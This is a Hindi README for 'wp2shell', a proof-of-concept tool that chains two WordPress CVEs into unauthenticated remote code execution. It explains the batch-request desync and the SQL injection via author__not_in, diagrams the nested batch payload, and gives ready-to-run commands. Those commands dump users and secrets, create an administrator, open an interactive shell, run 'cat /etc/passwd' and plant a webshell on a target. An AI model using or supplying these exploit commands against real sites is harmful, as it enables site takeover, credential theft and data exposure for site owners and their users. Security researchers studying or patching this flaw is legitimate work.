
CVE-2026-63030 + CVE-2026-60137 के लिए PoC, जिसे WP2Shell के नाम से भी जाना जाता है
WordPress 6.9.0–6.9.4 और 7.0.0–7.0.1 के लिए प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन।
CVE-2026-63030 (बैच रूट कन्फ्यूज़न SQLi) को CVE-2026-60137 (कस्टमाइज़र चेंजसेट री-एंट्री) के साथ जोड़कर बिना प्रमाणीकरण के एडमिनिस्ट्रेटर निर्माण और OS कमांड निष्पादन प्राप्त करता है। कोई पासवर्ड क्रैकिंग आवश्यक नहीं।

श्रेय hashkitten को इस खोज के लिए, पूर्ण SLCyber तकनीकी विश्लेषण यहाँ पढ़ें।
WordPress के REST API बैच प्रोसेसर (serve_batch_request_v1) में एक ऑफ-बाय-वन इंडेक्सिंग बग है: जब wp_parse_url() किसी उप-अनुरोध पथ पर विफल होता है, तो परिणामी WP_Error को $validation[] में धकेल दिया जाता है लेकिन $matches[] में नहीं। यह दोनों एरे को डीसिंक्रोनाइज़ करता है — प्रत्येक बाद का अनुरोध गलत हैंडलर के तहत भेजा जाता है।
एक बैच के अंदर दूसरे सावधानीपूर्वक संरचित बैच को नेस्ट करके, एक हमलावर निम्नलिखित कर सकता है:
author__not_in के माध्यम से अनसैनिटाइज़्ड SQL इंजेक्ट करना (स्ट्रिंग→एरे कास्ट absint() को छोड़ देता है)UNION SELECT का उपयोग करनाएक बार सेटअप पूरा हो जाने पर (टेबल प्रीफ़िक्स और एडमिन आईडी की खोज), एस्केलेशन पेलोड एक एकल HTTP अनुरोध में फायर होता है — कैश पॉइज़निंग, विशेषाधिकार वृद्धि, और उपयोगकर्ता निर्माण सभी सर्वर-साइड एक राउंड-ट्रिप में होते हैं।
HTTP POST /batch/v1
│
▼
┌─ Outer Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error, not added to $matches │
│ [1] POST /wp/v2/posts → $matches[0] (posts handler) │
│ [2] POST /batch/v1 → $matches[1] (batch handler) │
│ │
│ Desync: request[1] dispatched via $matches[1] │
│ POST /wp/v2/posts body interpreted as batch → inner fires │
│ │
└──────────────────────────────────────┬──────────────────────────────┘
│
┌──────────────────────────────────┘
▼
┌─ Inner Batch ───────────────────────────────────────────────────────┐
│ │
│ [0] /// → parse error (desync) │
│ [1] GET /wp/v2/widgets?UNION... → dispatched by posts handler │
│ ▲ WP_Query fires UNION, poisons object cache │
│ ▲ the_content renders [embed] → oEmbed → hierarchy Loop 1 │
│ → changeset published → admin context set │
│ → nav_menu_item UPDATE → hierarchy Loop 2 │
│ → parse_request → REST re-entry ─────────────┐ │
│ │ │
│ [2] GET /wp/v2/posts (categories handler) │ │
│ [3] GET /wp/v2/categories (users handler) │ │
│ [4] POST /wp/v2/users {body} ◄── re-entry with admin ──────┘ │
│ ▲ desync aligns this with users handler │
│ ▲ admin context → user created → die() │
│ [5] POST /wp/v2/users {} (desync spacer) │
│ │
└─────────────────────────────────────────────────────────────────────┘
कैश पॉइज़निंग (UNION के माध्यम से 7 नकली पोस्ट):
[embed] शॉर्टकोड हैcustomize_changeset, स्थिति future, तिथि अतीत में)is_nav_menu_item चेक के लिए post_type=nav_menu_item के रूप में जहरीला)post_type=request, post_status=parse, पैरेंट=इनर)निष्पादन प्रवाह:
[embed] शॉर्टकोड फायर होता हैwp_update_post पर आता हैwp_update_post कैश्ड चेंजसेट (पैरेंट=बाहरी) पढ़ता है → पदानुक्रम जांच लूप 1 का पता लगाती हैfuture स्थिति के साथ चेंजसेट को DB में लिखता है → स्वचालित रूप से publish में बदल जाता है_wp_customize_publish_changeset फायर होता है → wp_set_current_user(admin_id) → एडमिन संदर्भ सक्रियnav_menu_item[real_id] प्रोसेस करता है — कैश कहता है type=nav_menu_item → UPDATE पथobject_id एक कैश्ड पोस्ट को हल करता है जिसका post_parent=re-entry है → वास्तविक पोस्ट पर wp_update_post$post_id) लूप 2 (री-एंट्री ↔ इनर) का पता लगाती हैwp_update_post(re-entry) कॉल करता है → DB में type=request, status=parse लिखता हैwp_transition_post_status do_action("parse_request") फायर करता है → rest_api_loaded() → serve_request()POST /wp/v2/users सफल होता है → एडमिनिस्ट्रेटर बनाया गया → die()एक एंटी-रिकर्सन MySQL सत्र चर (@_wp2s) यह सुनिश्चित करता है कि श्रृंखला ठीक एक बार फायर हो और लूप न करे।
--cleanup बाहर निकलने पर बनाए गए उपयोगकर्ता को हटाता है और वेबशेल को हटा देता हैgit clone https://github.com/Crypto-Cat/wp2shell.git
cd wp2shell
chmod +x wp2shell.py
कोई pip install, कोई virtualenv नहीं। यह एक फ़ाइल है।
# निष्क्रिय बूलियन ओरेकल परीक्षण
python3 wp2shell.py check http://target.com
# टाइमिंग और UNION के साथ भी पुष्टि करें
python3 wp2shell.py check http://target.com --confirm-timing --confirm-union
# स्वचालित रूप से सबसे तेज़ तकनीक चुनता है (UNION > error > blind)
python3 wp2shell.py read http://target.com --preset users
python3 wp2shell.py read http://target.com --preset secrets
python3 wp2shell.py read http://target.com --query "SELECT @@version"
# किसी विशिष्ट तकनीक को बलपूर्वक चुनें
python3 wp2shell.py read http://target.com --technique blind --preset users
# टेबल प्रीफ़िक्स स्वचालित रूप से खोजें
python3 wp2shell.py read http://target.com --auto-prefix --preset users
# शोषण करें और इंटरैक्टिव शेल में जाएँ
python3 wp2shell.py exploit http://target.com -i
# शोषण करें, एक कमांड चलाएँ, सफाई करें
python3 wp2shell.py exploit http://target.com -c "cat /etc/passwd" --cleanup
# यदि आप प्रीफ़िक्स जानते हैं तो स्वचालित खोज छोड़ें
python3 wp2shell.py exploit http://target.com --prefix wp_ --no-discover -i